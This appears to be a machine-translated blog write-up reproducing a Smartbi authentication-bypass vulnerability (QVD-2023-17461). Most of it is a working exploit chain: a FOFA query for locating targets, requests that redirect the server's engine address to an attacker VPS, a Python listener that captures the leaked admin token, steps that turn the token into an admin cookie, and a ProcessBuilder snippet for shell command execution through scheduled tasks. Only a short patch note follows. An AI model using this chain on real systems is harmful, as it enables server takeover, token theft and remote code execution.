Smartbi 許可バイパスの脆弱性の再出現 (QVD-2023-17461)

0x01 製品紹介

   Smartbiビッグデータ分析製品は、BIで定義されたすべての段階を統合し、さまざまなビジネスデータベース、データウェアハウス、ビッグデータ分析プラットフォームとドッキングして、処理、分析、マイニング、ビジュアル表示を行い、ビッグデータなど、すべてのユーザーのさまざまなデータ分析アプリケーションのニーズを満たします。データ分析、ビジュアル分析、探索的分析、複雑なレポート、アプリケーション共有など。

0x02 脆弱性の概要

    Smartbi は特定の状況下でユーザー トークンを取得することができ、これにより不正な攻撃者が管理者権限を取得し、管理者権限を持つバックグラウンドを乗っ取り、さらにそれを悪用すると任意のコードが実行される可能性があります。この脆弱性を悪用するには、ターゲットがネットワークの外に出ることができる必要があります。  

0x03 影響範囲

  V6 <= スマートビ <= V10

0x04 再発環境

FOFA:アプリ="SMARTBI"

c9043c3d0bdc4b84888755d49baca9e3.png

0x05 脆弱性の再発

 内部エンジンアドレスを更新する

POST /smartbi/smartbix/api/monitor/setEngineAddress HTTP/1.1
Host: your-ip
Content-Type: application/json

http://vpsip:8000

6b9b1d116b294f56a943a172979fbc70.png

 PS: 環境によっては URL が異なります。違いは「/smartbi」ディレクトリの追加階層の有無です。実際の環境に応じて以下のようにテストしてください。

f379e7c7ce0245f2a4733423f140ed51.png

56df95d82deb4aae91342eda69287fff.png アドレスの更新を確認する 

POST /smartbi/smartbix/api/monitor/engineInfo HTTP/1.1
Host: your-ip
Content-Type: application/json

c9aa86edc7334a5ba8dcffa9b6bfb724.png

 管理者トークンを vps に送信します (nc モニタリングは使用できません。nc モニタリングによって返された値または json 形式でない場合はエラーが発生します。取得されたトークンは対応する変数に格納されず、バイパスできないため、 http サービスを手動で作成し、任意の json 形式で返されたデータを監視するために使用します)

脚本:

import json
from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length).decode('utf-8')
        print(f'Received data: {post_data}')

        # 解析post_data,并构建要返回的JSON数据
        data = json.loads(post_data)
        response = {'message': 'Data received successfully'}

        # 设置响应头和状态码
        self.send_response(200)
        self.send_header('Content-type', 'application/json')
        self.end_headers()

        # 将JSON数据转换为字节流并发送回客户端
        self.wfile.write(json.dumps(response).encode('utf-8'))

def run_server():
    server_address = ('', 8000)
    httpd = HTTPServer(server_address, RequestHandler)
    print('Server is running...')
    httpd.serve_forever()

if __name__ == '__main__':
    run_server()

原則:http.serverモジュールを使用して、HTTP プロトコルに基づいてサーバーを作成します。ローカル ポート 8000 をリッスンし、POST リクエストを受信すると、リクエスト本文のデータを JSON 形式に解析します。次に、成功メッセージを含む JSON 応答を作成し、クライアントに送り返します。

モニタリングをオンにしてトークンを送信する

54ae89e31c954a10b567fb9284848e0b.png

POST /smartbi/smartbix/api/monitor/token HTTP/1.1
Host: your-ip
Content-Type: application/json

experiment

6c5903aa9b0640acb72ba205f4a6df07.png

 8fe20ec1313e4ac3b60162db02d0e70c.png

ログイン後に管理者トークンを使用して Cookie を取得します

POST /smartbi/smartbix/api/monitor/login HTTP/1.1
Host: your-ip
Content-Type: application/json

获取到的管理员token

59af1c5d06c3423b9554ff7d4d8c418a.png PS: true である必要があります。false は機能しません

Cookie を置き換えて背景を引き継ぐ

c324629913d14b599e845733b3208ccf.png

置換後はページを更新してください 

ac0f08a7d6d94c439889effb82b92b89.png

 悪用後のアイデア: スケジュールされたタスク RCE

importPackage(Packages.java.lang);
importPackage(Packages.java.io);
importPackage(Packages.smartbi.repository);
importPackage(Packages.smartbi.util);
importPackage(Packages.java.util);

builder = new ProcessBuilder();
builder.command("sh", "-c", "执行的命令");
builder.directory(new File(System.getProperty("user.home")));
process = builder.start();

0x06 修復の提案

暫定緩和計画

特定の IP アドレスまたはアドレス セグメントからのアクセス要求のみを許可するなど、ネットワーク ACL ポリシーを通じてアクセス ソースを制限します。

アップグレード修正

現在、公式パッチがリリースされているため、影響を受けるユーザーはできるだけ早く 2023-07-28 セキュリティ パッチ パッケージに更新することをお勧めします。

https://www.smartbi.com.cn/patchinfo

  

 

 

おすすめ

転載: blog.csdn.net/qq_41904294/article/details/132185106